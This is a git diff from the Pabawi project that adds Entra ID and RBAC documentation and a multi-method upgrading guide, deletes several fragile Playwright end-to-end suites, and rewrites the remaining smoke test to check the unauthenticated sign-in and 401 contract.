+Users who authenticate via Entra ID for the first time are automatically provisioned: + +- If a local user with the same email exists, the Entra ID identity is linked to that account +- Otherwise, a new account is created with federation-only access (no local password) +- The default viewer role is assigned to new federated users + +### Group-to-Role Mapping + +When `ENTRA_ID_GROUP_MAPPING` is configured, Pabawi synchronizes roles at each SSO login based on the user's Azure group memberships. Manually assigned roles are preserved. See [integrations/entra-id.md](./integrations/entra-id.md#group-to-role-mapping) for details. + ## Permission Format ``` @@ -31,7 +52,7 @@ Includes all Viewer permissions plus: | Permission | Description | |---|---| | `ansible/execute` | Execute Ansible playbooks | -| `bolt/execute` | Execute Bolt tasks and commands | +| `bolt/execute` | Execute Bolt tasks and commands (single-node, multi-node batch, and re-execution) | | `proxmox/lifecycle` | Start/stop/reboot Proxmox VMs | | `aws/lifecycle` | Start/stop/reboot AWS instances | | `azure/lifecycle` | Start/stop/reboot Azure VMs | diff --git a/docs/upgrading.md b/docs/upgrading.md new file mode 100644 index 00000000..73cd1557 --- /dev/null +++ b/docs/upgrading.md @@ -0,0 +1,236 @@ +# Upgrading Pabawi + +This guide covers upgrading existing Pabawi installations. For fresh installs, +see the main [README](../README.md#installation). + +## Before You Upgrade + +1. **Read the [CHANGELOG](../CHANGELOG.md)** for the target version. Look for + sections labelled "Security — breaking for operators" or "Action required + before upgrade" — these require configuration changes before starting the + new version. +2. **Back up your database.** SQLite: copy the `.db` file. PostgreSQL: run + `pg_dump`. +3. **Back up your `.env` file.** Some releases add required variables or change + defaults. + +Database migrations run automatically on startup. They are forward-only — there +is no built-in rollback. The backup is your rollback path. + +## Upgrade Methods + +- [Git / source install](#git--source-install) +- [Docker (standalone)](#docker-standalone) +- [Docker Compose](#docker-compose) +- [Kubernetes / Helm](#kubernetes--helm) + +--- + +## Git / Source Install + +For installations cloned from the repository and built locally. + +```bash +cd /path/to/pabawi + +# 1. Stop the running server +# (Ctrl-C if running in foreground, or stop your process manager) + +# 2. Pull the latest release +git fetch --tags +git checkout v # e.g. v1.4.0 +# or, to track the latest on main: +# git pull origin main + +# 3. Install / rebuild dependencies +npm run install:all + +# 4. Review .env changes +diff backend/.env.example backend/.env +# Add any new required variables shown in the CHANGELOG + +# 5. Build +npm run build + +# 6. Start +npm run dev:fullstack # development +# or your production process manager (systemd, pm2, etc.) +``` + +### Pinning to a release tag vs. tracking main + +Release tags (`v1.4.0`, `v1.3.1`, etc.) are stable cut points. Tracking `main` +gives you the latest commits but may include incomplete work between releases. +For production, pin to tags. + +--- + +## Docker (Standalone) + +```bash +# 1. Pull the new image +docker pull example42/pabawi:latest +# or a specific version: +# docker pull example42/pabawi:1.4.0 + +# 2. Stop and remove the old container +docker stop pabawi +docker rm pabawi + +# 3. Review .env for new required variables (check CHANGELOG) + +# 4. Start the new container with the same volumes and env +docker run -d \ + --name pabawi \ + --user "$(id -u):1001" \ + -p 127.0.0.1:3000:3000 \ + -v "$(pwd)/data:/opt/pabawi/data" \ + -v "$(pwd)/bolt-project:/opt/pabawi/bolt-project:ro" \ + --env-file .env \ + example42/pabawi:latest +``` + +Your data persists in the mounted volumes. The new container applies any +pending database migrations on startup. + +### Rollback + +If the new version fails to start: + +```bash +docker stop pabawi && docker rm pabawi +# Restore the database backup, then start the previous image: +docker run -d --name pabawi ... example42/pabawi: +``` + +--- + +## Docker Compose + +```bash +cd /path/to/pabawi # directory containing docker-compose.yml + +# 1. Pull the latest image +docker compose pull + +# 2. Review .env for new required variables + +# 3. Recreate the container +docker compose up -d + +# 4. Verify +docker compose logs -f app +curl http://localhost:3000/api/health +``` + +`docker compose up -d` recreates only containers whose image or config changed. +Volumes are preserved. + +### With PostgreSQL profile + +```bash +docker compose --profile postgres pull +docker compose --profile postgres up -d +``` + +### Pinning a version + +Edit `docker-compose.yml` (or use an override file) to pin the image tag: + +```yaml +services: + app: + image: example42/pabawi:1.4.0 +``` + +--- + +## Kubernetes / Helm + +```bash +# 1. Update the chart (if using a local copy) +cd charts/pabawi +git pull # or copy the updated chart + +# 2. Review values changes +helm diff upgrade pabawi ./charts/pabawi -f my-values.yaml +# (requires the helm-diff plugin; otherwise compare values.yaml manually) + +# 3. Upgrade +helm upgrade pabawi ./charts/pabawi \ + -f my-values.yaml \ + --set image.tag=1.4.0 + +# 4. Watch the rollout +kubectl rollout status deployment/pabawi +kubectl logs -l app.kubernetes.io/name=pabawi -f +``` + +If the chart includes a database migration Job, it runs before the new +Deployment pods start. Monitor the Job: + +```bash +kubectl get jobs -l app.kubernetes.io/component=migration +kubectl logs job/pabawi-migrate +``` + +### Rollback + +```bash +helm rollback pabawi +# Restore the database from backup if migrations are not backward-compatible +``` + +--- + +## Version-Specific Notes + +### Upgrading to 1.3.0 + +**Action required before starting the new version:** + +- `JWT_SECRET` must be ≥ 32 characters and not a placeholder value. The app + refuses to boot otherwise. Generate a proper secret: + + ```bash + JWT_SECRET=$(openssl rand -base64 32) + ``` + +- `DELETE /api/inventory/:id` now requires the lifecycle bearer token. If you + have scripts calling this endpoint, add + `Authorization: Bearer `. + +- SSE `?token=` URL parameter removed. Clients must use the stream-ticket + endpoint (`POST /api/executions/:id/stream-ticket`) instead. + +- Refresh-token rotation enforced. Clients must store and use the latest + `refreshToken` from each refresh response. + +### Upgrading to 1.3.0 with PostgreSQL + +If switching from SQLite to PostgreSQL during this upgrade: + +1. Set `DB_TYPE=postgres` and `DATABASE_URL` in `.env`. +2. The new schema is created automatically on first startup. There is no + automated SQLite-to-PostgreSQL data migration — export and re-import + manually if you need to preserve execution history or user accounts. + +### Upgrading to 1.4.0 + +New optional integration: **Checkmk monitoring**. No action required unless you +want to enable it. Add `CHECKMK_ENABLED=true` and the related variables to +`.env`. See [docs/integrations/checkmk.md](integrations/checkmk.md). + +--- + +## General Tips + +- **Health check:** After every upgrade, verify `curl http://localhost:3000/api/health` + returns `{"status":"ok"}` with HTTP 200. +- **Expert mode:** Enable expert mode in the UI after upgrading to see full + debug output if something looks wrong. +- **Logs:** Check logs immediately after startup. Failed migrations or missing + config surface within the first few seconds. +- **Permissions:** If new RBAC permissions were added in the release, built-in + roles (Viewer, Operator, Administrator) are updated automatically via + migration. Custom roles may need manual permission grants. diff --git a/e2e/README.md b/e2e/README.md index eb45cee8..9f65cbf5 100644 --- a/e2e/README.md +++ b/e2e/README.md @@ -1,180 +1,40 @@ # End-to-End Tests -This directory contains end-to-end (E2E) tests for Pabawi using Playwright. +One Playwright suite, `setup-check.spec.ts`, covering the unauthenticated +contract: the server serves the SPA, the auth guard redirects to the sign-in +form, and protected API routes answer 401. -## Overview +That is the whole suite on purpose. It is hermetic — no seeded user, no +database fixture, no reachable Bolt/PuppetDB inventory — so it runs anywhere +in about a second. -The E2E tests validate critical user flows through the application: - -1. **Inventory to Command Execution** (`inventory-to-command.spec.ts`) - - Navigate from inventory → node detail → execute command - - Validate command execution results - - Test error handling for invalid commands - -2. **Inventory to Facts Gathering** (`inventory-to-facts.spec.ts`) - - Navigate from inventory → node detail → gather facts - - Validate facts display and formatting - - Test error handling for unreachable nodes - -3. **Inventory to Task Execution** (`inventory-to-task.spec.ts`) - - Navigate from inventory → node detail → execute task - - Validate task parameter forms - - Test parameter validation - -4. **Executions Page** (`executions-page.spec.ts`) - - View execution history - - Filter executions by status - - View execution details - - Test pagination - -## Prerequisites - -Before running E2E tests, ensure you have: - -1. **Bolt CLI installed** and configured -2. **Valid Bolt inventory** in `bolt-project/inventory.yaml` -3. **Backend and frontend built** (tests will start the server automatically) - -## Running Tests - -### Run all E2E tests - -```bash -npm run test:e2e -``` - -### Run tests with UI mode (interactive) - -```bash -npm run test:e2e:ui -``` - -### Run tests in headed mode (see browser) - -```bash -npm run test:e2e:headed -``` - -### Run tests in debug mode - -```bash -npm run test:e2e:debug -``` - -### Run specific test file - -```bash -npx playwright test e2e/inventory-to-command.spec.ts -``` - -### Run tests matching a pattern - -```bash -npx playwright test --grep "command execution" -``` - -## Test Configuration - -The Playwright configuration is in `playwright.config.ts` at the project root. - -Key settings: - -- **Base URL**: `http://localhost:3000` -- **Web Server**: Automatically starts `npm run dev:fullstack` before tests -- **Timeout**: 120 seconds for server startup -- **Browser**: Chromium (can be extended to Firefox, Safari) -- **Screenshots**: Captured on failure -- **Traces**: Captured on first retry - -## Writing New Tests - -When adding new E2E tests: - -1. Create a new `.spec.ts` file in the `e2e/` directory -2. Use descriptive test names that explain the user flow -3. Add data-testid attributes to components for reliable selectors -4. Use flexible selectors that work with different UI implementations -5. Add appropriate timeouts for async operations -6. Document which requirements the test validates - -Example: - -```typescript -import { test, expect } from '@playwright/test'; - -test.describe('My Feature Flow', () => { - test('should perform user action', async ({ page }) => { - await page.goto('/'); - - // Your test steps here - await expect(page.locator('[data-testid="my-element"]')).toBeVisible(); - }); -}); -``` - -## Troubleshooting - -### Tests fail with "Target closed" error - -This usually means the server didn't start properly. Check: - -- Backend and frontend build successfully -- Port 3000 is not already in use -- Bolt configuration is valid - -### Tests timeout waiting for elements - -The UI might have changed. Update selectors to match current implementation: - -- Check for `data-testid` attributes -- Use flexible selectors (class patterns, text content) -- Increase timeout if operations are legitimately slow - -### Server doesn't start - -Check the web server configuration in `playwright.config.ts`: - -- Verify the command is correct -- Check the URL is accessible -- Increase timeout if needed - -## CI/CD Integration - -To run E2E tests in CI: +## Running ```bash -# Install Playwright browsers -npx playwright install --with-deps chromium - -# Run tests -npm run test:e2e +npm run test:e2e # headless +npm run test:e2e:ui # interactive +npm run test:e2e:headed # visible browser +npm run test:e2e:debug # step through ``` -Set `CI=true` environment variable to enable CI-specific behavior: - -- Retries on failure -- Single worker (no parallel execution) -- Fail on test.only - -## Test Data - -E2E tests use the actual Bolt inventory and configuration. Ensure: +Playwright starts the app itself (`npm run dev:fullstack` on port 3000). The +browser binary is pinned to the installed `playwright-core`; if you see +`Executable doesn't exist`, run `npx playwright install chromium`. -- At least one node is defined in inventory -- Nodes are reachable (or tests handle unreachable nodes gracefully) -- Command whitelist allows basic commands like `pwd`, `echo` +## Adding tests -## Reports +Two rules, both learned the hard way — the four flow suites that used to live +here (`inventory-to-*`, `executions-page`) were deleted because they broke both: -After running tests, view the HTML report: - -```bash -npx playwright show-report -``` +1. **Assert unconditionally.** No `if (await thing.isVisible()) { … } else { … }`. + A conditional around an assertion produces a test that reports success on the + branch where it checked nothing. Five such tests passed for months while the + browser sat on the login screen. -This shows: +2. **Select on contracts, not fragments.** Use `getByRole`, `getByLabel`, + `getByPlaceholder`, or a `data-testid` you add to the component. Never + `[class*="node"]` — substring matching on utility classes matches anything + and pins nothing. -- Test results with pass/fail status -- Screenshots of failures -- Traces for debugging -- Execution timeline +Anything past the login screen needs authentication and a hermetic backend +first. See [docs/internal/e2e-testing.md](../docs/internal/e2e-testing.md). diff --git a/e2e/executions-page.spec.ts b/e2e/executions-page.spec.ts deleted file mode 100644 index 5e982573..00000000 --- a/e2e/executions-page.spec.ts +++ /dev/null @@ -1,185 +0,0 @@ -import { test, expect } from '@playwright/test'; - -/** - * E2E Test: Executions page filtering and detail view - * - * This test validates the executions page functionality including - * filtering and viewing execution details. - * - * Requirements: 6.1 - */ -test.describe('Executions Page Flow', () => { - test('should display executions page with execution history', async ({ page }) => { - // Navigate to the application - await page.goto('/'); - - // Look for navigation to executions page - const executionsLink = page.locator('a, button').filter({ hasText: /executions|history/i }).first(); - - if (await executionsLink.isVisible()) { - await executionsLink.click(); - - // Wait for executions page to load - await expect(page.locator('h1, h2').filter({ hasText: /executions|history/i })).toBeVisible({ timeout: 10000 }); - - // Check if executions list is displayed - const executionsList = page.locator('[data-testid="executions-list"], [class*="execution"]'); - - // Either executions should be shown or empty state should be displayed - const hasExecutions = await executionsList.first().isVisible(); - const hasEmptyState = await page.locator('text=/no executions|empty/i').isVisible(); - - expect(hasExecutions || hasEmptyState).toBeTruthy(); - } else { - // Try navigating directly to executions page - await page.goto('/executions'); - - // Wait for page to load - await page.waitForTimeout(2000); - - // Verify we're on executions page - const pageContent = await page.textContent('body'); - expect(pageContent).toMatch(/executions|history|no executions/i); - } - }); - - test('should filter executions by status', async ({ page }) => { - // Navigate to executions page - await page.goto('/'); - - const executionsLink = page.locator('a, button').filter({ hasText: /executions|history/i }).first(); - - if (await executionsLink.isVisible()) { - await executionsLink.click(); - } else { - await page.goto('/executions'); - } - - // Wait for page to load - await page.waitForTimeout(2000); - - // Look for filter controls - const statusFilter = page.locator('select[name*="status" i], [data-testid="status-filter"]').first(); - - if (await statusFilter.isVisible()) { - // Get initial count of executions - const initialExecutions = await page.locator('[data-testid="execution-item"], [class*="execution-item"]').count(); - - // Change filter - await statusFilter.selectOption({ index: 1 }); - - // Wait for filter to apply - await page.waitForTimeout(1000); - - // Verify filter was applied (count may change or stay same) - const filteredExecutions = await page.locator('[data-testid="execution-item"], [class*="execution-item"]').count(); - - // Filter should work (count may be different or same depending on data) - expect(typeof filteredExecutions).toBe('number'); - } - }); - - test('should display execution details when clicking on an execution', async ({ page }) => { - // Navigate to executions page - await page.goto('/'); - - const executionsLink = page.locator('a, button').filter({ hasText: /executions|history/i }).first(); - - if (await executionsLink.isVisible()) { - await executionsLink.click(); - } else { - await page.goto('/executions'); - } - - // Wait for page to load - await page.waitForTimeout(2000); - - // Look for execution items - const executionItem = page.locator('[data-testid="execution-item"], [class*="execution-item"]').first(); - - if (await executionItem.isVisible()) { - // Click on execution - await executionItem.click(); - - // Wait for detail view to appear (modal or panel) - await page.waitForTimeout(1000); - - // Check for detail view - const detailView = page.locator('[data-testid="execution-detail"], [class*="detail"], [role="dialog"]'); - - // Detail view should be visible - await expect(detailView.first()).toBeVisible({ timeout: 5000 }); - - // Verify detail content is displayed - const detailContent = await detailView.first().textContent(); - expect(detailContent).toBeTruthy(); - expect(detailContent!.length).toBeGreaterThan(0); - } - }); - - test('should display summary statistics on executions page', async ({ page }) => { - // Navigate to executions page - await page.goto('/'); - - const executionsLink = page.locator('a, button').filter({ hasText: /executions|history/i }).first(); - - if (await executionsLink.isVisible()) { - await executionsLink.click(); - } else { - await page.goto('/executions'); - } - - // Wait for page to load - await page.waitForTimeout(2000); - - // Look for summary statistics (total, success, failed counts) - const summaryCards = page.locator('[data-testid="summary"], [class*="summary"], [class*="stats"]'); - - if (await summaryCards.first().isVisible()) { - // Verify summary contains numbers - const summaryText = await summaryCards.first().textContent(); - expect(summaryText).toMatch(/\d+/); // Should contain at least one number - } - }); - - test('should paginate executions when there are many results', async ({ page }) => { - // Navigate to executions page - await page.goto('/'); - - const executionsLink = page.locator('a, button').filter({ hasText: /executions|history/i }).first(); - - if (await executionsLink.isVisible()) { - await executionsLink.click(); - } else { - await page.goto('/executions'); - } - - // Wait for page to load - await page.waitForTimeout(2000); - - // Look for pagination controls - const paginationControls = page.locator('[data-testid="pagination"], [class*="pagination"]'); - - if (await paginationControls.first().isVisible()) { - // Get current page executions count - const currentPageExecutions = await page.locator('[data-testid="execution-item"], [class*="execution-item"]').count(); - - // Look for next page button - const nextButton = page.locator('button').filter({ hasText: /next|>/i }).first(); - - if (await nextButton.isVisible() && !await nextButton.isDisabled()) { - // Click next page - await nextButton.click(); - - // Wait for new page to load - await page.waitForTimeout(1000); - - // Verify page changed (URL or content should change) - const newPageExecutions = await page.locator('[data-testid="execution-item"], [class*="execution-item"]').count(); - - // Either count changed or we're on a different page - expect(typeof newPageExecutions).toBe('number'); - } - } - }); -}); diff --git a/e2e/inventory-to-command.spec.ts b/e2e/inventory-to-command.spec.ts deleted file mode 100644 index 05031e53..00000000 --- a/e2e/inventory-to-command.spec.ts +++ /dev/null @@ -1,77 +0,0 @@ -import { test, expect } from '@playwright/test'; - -/** - * E2E Test: Inventory view → Node detail → Command execution flow - * - * This test validates the complete user journey from viewing the inventory, - * selecting a node, and executing a command on that node. - * - * Requirements: 1.1, 1.5, 2.1, 4.1 - */ -test.describe('Inventory to Command Execution Flow', () => { - test('should navigate from inventory to node detail and execute command', async ({ page }) => { - // Navigate to the application - await page.goto('/'); - - // Wait for the inventory page to load - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - - // Verify inventory list is displayed - const inventoryList = page.locator('[data-testid="inventory-list"], .node-list, [class*="inventory"]').first(); - await expect(inventoryList).toBeVisible({ timeout: 5000 }); - - // Click on the first node in the inventory - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await expect(firstNode).toBeVisible({ timeout: 5000 }); - await firstNode.click(); - - // Wait for navigation to node detail page - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - // Verify node detail page is displayed - await expect(page.locator('h1, h2').filter({ hasText: /node|detail/i })).toBeVisible({ timeout: 5000 }); - - // Find the command execution section - const commandSection = page.locator('[data-testid="command-section"], [class*="command"]').first(); - await expect(commandSection).toBeVisible({ timeout: 5000 }); - - // Enter a simple command (e.g., "pwd" or "echo test") - const commandInput = page.locator('input[type="text"][placeholder*="command" i], textarea[placeholder*="command" i]').first(); - await commandInput.fill('pwd'); - - // Click the execute button - const executeButton = page.locator('button').filter({ hasText: /execute|run/i }).first(); - await executeButton.click(); - - // Wait for execution results to appear - await expect(page.locator('[data-testid="command-output"], [class*="output"], [class*="result"]')).toBeVisible({ timeout: 10000 }); - - // Verify that output is displayed (should contain some text) - const output = page.locator('[data-testid="command-output"], [class*="output"], [class*="result"]').first(); - await expect(output).not.toBeEmpty(); - }); - - test('should handle command execution errors gracefully', async ({ page }) => { - // Navigate to the application - await page.goto('/'); - - // Wait for inventory and navigate to first node - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await firstNode.click(); - - // Wait for node detail page - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - // Enter an invalid command - const commandInput = page.locator('input[type="text"][placeholder*="command" i], textarea[placeholder*="command" i]').first(); - await commandInput.fill('invalid_command_that_does_not_exist'); - - // Execute the command - const executeButton = page.locator('button').filter({ hasText: /execute|run/i }).first(); - await executeButton.click(); - - // Verify error message is displayed - await expect(page.locator('[data-testid="error-alert"], [class*="error"], [role="alert"]')).toBeVisible({ timeout: 10000 }); - }); -}); diff --git a/e2e/inventory-to-facts.spec.ts b/e2e/inventory-to-facts.spec.ts deleted file mode 100644 index d5974aed..00000000 --- a/e2e/inventory-to-facts.spec.ts +++ /dev/null @@ -1,100 +0,0 @@ -import { test, expect } from '@playwright/test'; - -/** - * E2E Test: Inventory view → Node detail → Facts gathering flow - * - * Validates the on-demand facts UX: opening a node loads quickly without - * auto-fetching, the Facts tab exposes one card per integration, and the - * user can request facts via the per-source "Load facts" or bulk "Load all" - * buttons. - * - * Requirements: 1.1, 1.5, 2.1, 3.1 - */ -test.describe('Inventory to Facts on-demand flow', () => { - test('should navigate from inventory to node detail and load facts on demand', async ({ page }) => { - await page.goto('/'); - - // Wait for the inventory page to load - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - - // Click the first node in the inventory - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await expect(firstNode).toBeVisible({ timeout: 5000 }); - await firstNode.click(); - - // Wait for navigation to node detail page - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - // Switch to the Facts tab (no auto-fetching now: facts only load on demand) - const factsTab = page.locator('button, a').filter({ hasText: /^\s*facts\s*$/i }).first(); - await expect(factsTab).toBeVisible({ timeout: 5000 }); - await factsTab.click(); - - // Each integration card surfaces a "Load facts" button while idle. - const loadFactsButton = page.locator('button').filter({ hasText: /load facts/i }).first(); - await expect(loadFactsButton).toBeVisible({ timeout: 5000 }); - await loadFactsButton.click(); - - // After at least one source loads, the source-view toggle ("Per Source", - // "All", "Merged") appears. Use the All button as a proof-of-load. - const allViewButton = page.locator('button').filter({ hasText: /^\s*all\s*$/i }).first(); - await expect(allViewButton).toBeVisible({ timeout: 30000 }); - }); - - test('should display facts in a readable format after a Load all', async ({ page }) => { - await page.goto('/'); - - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await firstNode.click(); - - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - // Open the Facts tab and trigger a bulk load. - const factsTab = page.locator('button, a').filter({ hasText: /^\s*facts\s*$/i }).first(); - await factsTab.click(); - - const loadAllButton = page.locator('button').filter({ hasText: /load all/i }).first(); - await expect(loadAllButton).toBeVisible({ timeout: 5000 }); - await loadAllButton.click(); - - // Once data lands, the toggle group exposes the All view. Click it. - const allViewButton = page.locator('button').filter({ hasText: /^\s*all\s*$/i }).first(); - await expect(allViewButton).toBeVisible({ timeout: 30000 }); - await allViewButton.click(); - - // The All view renders an "All facts (per source)" panel. - const allHeading = page.locator('text=/all facts \\(per source\\)/i').first(); - await expect(allHeading).toBeVisible({ timeout: 10000 }); - - // The panel contents should reference recognisable fact families when - // any source returned data. - const factsRegion = page.locator('[data-testid="facts-viewer"], [class*="facts"]').first(); - await expect(factsRegion).toBeVisible({ timeout: 5000 }); - const factsText = await factsRegion.textContent(); - expect(factsText).toMatch(/os|operating|system|network|memory|processor|node|hostname/i); - }); - - test('should surface per-source errors without breaking the page', async ({ page }) => { - await page.goto('/'); - - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await firstNode.click(); - - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - const factsTab = page.locator('button, a').filter({ hasText: /^\s*facts\s*$/i }).first(); - await factsTab.click(); - - const loadFactsButton = page.locator('button').filter({ hasText: /load facts/i }).first(); - await expect(loadFactsButton).toBeVisible({ timeout: 5000 }); - await loadFactsButton.click(); - - // After the request settles, the card flips to either a Refresh button - // (success) or a Retry button (error). Either is an acceptable terminal - // state — what matters is the page didn't crash. - const terminalAffordance = page.locator('button').filter({ hasText: /refresh|retry/i }); - await expect(terminalAffordance.first()).toBeVisible({ timeout: 30000 }); - }); -}); diff --git a/e2e/inventory-to-task.spec.ts b/e2e/inventory-to-task.spec.ts deleted file mode 100644 index f49f9e86..00000000 --- a/e2e/inventory-to-task.spec.ts +++ /dev/null @@ -1,164 +0,0 @@ -import { test, expect } from '@playwright/test'; - -/** - * E2E Test: Inventory view → Node detail → Task execution flow - * - * This test validates the complete user journey from viewing the inventory, - * selecting a node, and executing a task on that node. - * - * Requirements: 1.1, 1.5, 2.1, 5.3 - */ -test.describe('Inventory to Task Execution Flow', () => { - test('should navigate from inventory to node detail and execute task', async ({ page }) => { - // Navigate to the application - await page.goto('/'); - - // Wait for the inventory page to load - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - - // Verify inventory list is displayed - const inventoryList = page.locator('[data-testid="inventory-list"], .node-list, [class*="inventory"]').first(); - await expect(inventoryList).toBeVisible({ timeout: 5000 }); - - // Click on the first node in the inventory - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await expect(firstNode).toBeVisible({ timeout: 5000 }); - await firstNode.click(); - - // Wait for navigation to node detail page - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - // Verify node detail page is displayed - await expect(page.locator('h1, h2').filter({ hasText: /node|detail/i })).toBeVisible({ timeout: 5000 }); - - // Find the task execution section - const taskSection = page.locator('[data-testid="task-section"], [class*="task"]').first(); - await expect(taskSection).toBeVisible({ timeout: 5000 }); - - // Look for task dropdown or task list - const taskSelect = page.locator('select[name*="task" i], [data-testid="task-select"]').first(); - - if (await taskSelect.isVisible()) { - // Select a task from dropdown - await taskSelect.selectOption({ index: 1 }); // Select first available task - - // Wait for task parameters to load (if any) - await page.waitForTimeout(1000); - - // Click execute button - const executeButton = page.locator('button').filter({ hasText: /execute|run/i }).first(); - await executeButton.click(); - - // Wait for execution results - await expect(page.locator('[data-testid="task-output"], [class*="output"], [class*="result"]')).toBeVisible({ timeout: 15000 }); - - // Verify output is displayed - const output = page.locator('[data-testid="task-output"], [class*="output"], [class*="result"]').first(); - await expect(output).not.toBeEmpty(); - } else { - // If no task dropdown, look for task list or buttons - const taskButton = page.locator('button').filter({ hasText: /task/i }).first(); - if (await taskButton.isVisible()) { - await taskButton.click(); - - // Wait for task interface to appear - await page.waitForTimeout(1000); - - // Try to execute a task - const executeButton = page.locator('button').filter({ hasText: /execute|run/i }).first(); - if (await executeButton.isVisible()) { - await executeButton.click(); - - // Wait for results - await page.waitForTimeout(5000); - } - } - } - }); - - test('should display task parameters when task is selected', async ({ page }) => { - // Navigate to the application - await page.goto('/'); - - // Navigate to first node - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await firstNode.click(); - - // Wait for node detail page - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - // Find task section - const taskSection = page.locator('[data-testid="task-section"], [class*="task"]').first(); - await expect(taskSection).toBeVisible({ timeout: 5000 }); - - // Look for task dropdown - const taskSelect = page.locator('select[name*="task" i], [data-testid="task-select"]').first(); - - if (await taskSelect.isVisible()) { - // Get the number of available tasks - const options = await taskSelect.locator('option').count(); - - if (options > 1) { - // Select a task - await taskSelect.selectOption({ index: 1 }); - - // Wait for parameters to load - await page.waitForTimeout(1000); - - // Check if parameter form is displayed - const parameterForm = page.locator('[data-testid="task-parameters"], [class*="parameter"]'); - - // Either parameters should be shown or execute button should be available - const hasParameters = await parameterForm.isVisible(); - const hasExecuteButton = await page.locator('button').filter({ hasText: /execute|run/i }).isVisible(); - - expect(hasParameters || hasExecuteButton).toBeTruthy(); - } - } - }); - - test('should validate required task parameters', async ({ page }) => { - // Navigate to the application - await page.goto('/'); - - // Navigate to first node - await expect(page.locator('h1, h2').filter({ hasText: /inventory/i })).toBeVisible({ timeout: 10000 }); - const firstNode = page.locator('[data-testid="node-item"], .node-item, [class*="node"]').first(); - await firstNode.click(); - - // Wait for node detail page - await page.waitForURL(/\/nodes\/.*/, { timeout: 5000 }); - - // Find task section - const taskSection = page.locator('[data-testid="task-section"], [class*="task"]').first(); - await expect(taskSection).toBeVisible({ timeout: 5000 }); - - // Look for task dropdown - const taskSelect = page.locator('select[name*="task" i], [data-testid="task-select"]').first(); - - if (await taskSelect.isVisible()) { - // Select a task - await taskSelect.selectOption({ index: 1 }); - - // Wait for parameters - await page.waitForTimeout(1000); - - // Try to execute without filling required parameters - const executeButton = page.locator('button').filter({ hasText: /execute|run/i }).first(); - - if (await executeButton.isVisible()) { - await executeButton.click(); - - // Check for validation error or successful execution - await page.waitForTimeout(2000); - - // Either validation error should appear or execution should proceed - const hasError = await page.locator('[data-testid="error"], [class*="error"], [role="alert"]').isVisible(); - const hasOutput = await page.locator('[data-testid="task-output"], [class*="output"]').isVisible(); - - expect(hasError || hasOutput).toBeTruthy(); - } - } - }); -}); diff --git a/e2e/setup-check.spec.ts b/e2e/setup-check.spec.ts index f9406531..a10eb9bd 100644 --- a/e2e/setup-check.spec.ts +++ b/e2e/setup-check.spec.ts @@ -1,47 +1,45 @@ import { test, expect } from '@playwright/test'; /** - * Setup verification test + * Smoke test: the server boots, the SPA mounts, and the auth guard holds. * - * This test verifies that the application starts correctly and - * the basic infrastructure is working before running full E2E tests. + * This is deliberately the only E2E suite. It asserts the unauthenticated + * contract only, so it needs no seeded user, no database fixture and no + * reachable Bolt/PuppetDB inventory. + * + * Anything past the login screen requires an authenticated storageState and a + * hermetic backend (scratch DATABASE_PATH + sample BOLT_PROJECT_PATH); see + * docs/internal/e2e-testing.md before adding such a test here. + * + * Selectors are accessible names, not CSS class fragments. Keep it that way: + * a selector that matches loosely is a test that fails to fail. */ test.describe('Setup Verification', () => { - test('should load the application homepage', async ({ page }) => { - // Navigate to the application - await page.goto('/'); + test('serves the SPA shell', async ({ page }) => { + const response = await page.goto('/'); - // Wait for page to load - await page.waitForLoadState('networkidle', { timeout: 10000 }); - - // Verify page loaded successfully - expect(page.url()).toContain('localhost:3000'); - - // Verify page has content - const bodyText = await page.textContent('body'); - expect(bodyText).toBeTruthy(); - expect(bodyText!.length).toBeGreaterThan(0); + expect(response?.status()).toBe(200); + await expect(page).toHaveTitle(/pabawi/i); }); - test('should have navigation elements', async ({ page }) => { + test('renders the sign-in form when unauthenticated', async ({ page }) => { await page.goto('/'); - // Wait for page to load - await page.waitForLoadState('networkidle', { timeout: 10000 }); + await expect(page.getByRole('heading', { name: 'Sign in to Pabawi' })).toBeVisible(); + await expect(page.getByPlaceholder('Enter your username')).toBeVisible(); + await expect(page.getByPlaceholder('Enter your password')).toBeVisible(); + await expect(page.getByRole('button', { name: 'Sign in' })).toBeVisible(); + }); - // Look for navigation elements (links or buttons) - const navElements = page.locator('nav, header, [role="navigation"]'); + test('sends an unauthenticated deep link to the sign-in form', async ({ page }) => { + await page.goto('/executions'); - // Should have some navigation - const count = await navElements.count(); - expect(count).toBeGreaterThan(0); + await expect(page.getByRole('heading', { name: 'Sign in to Pabawi' })).toBeVisible(); }); - test('should respond to API health check', async ({ page }) => { - // Try to access the API - const response = await page.request.get('/api/inventory'); + test('rejects unauthenticated API reads with 401', async ({ request }) => { + const response = await request.get('/api/inventory'); - // Should get a response (even if it's an error, it means server is running) - expect(response.status()).toBeLessThan(500); + expect(response.status()).toBe(401); }); }); diff --git a/frontend/package.json b/frontend/package.json index c87e638d..a6ffc415 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -1,6 +1,6 @@ { "name": "frontend", - "version": "1.4.0", + "version": "1.5.0", "description": "Pabawi frontend web interface", "type": "module", "scripts": { 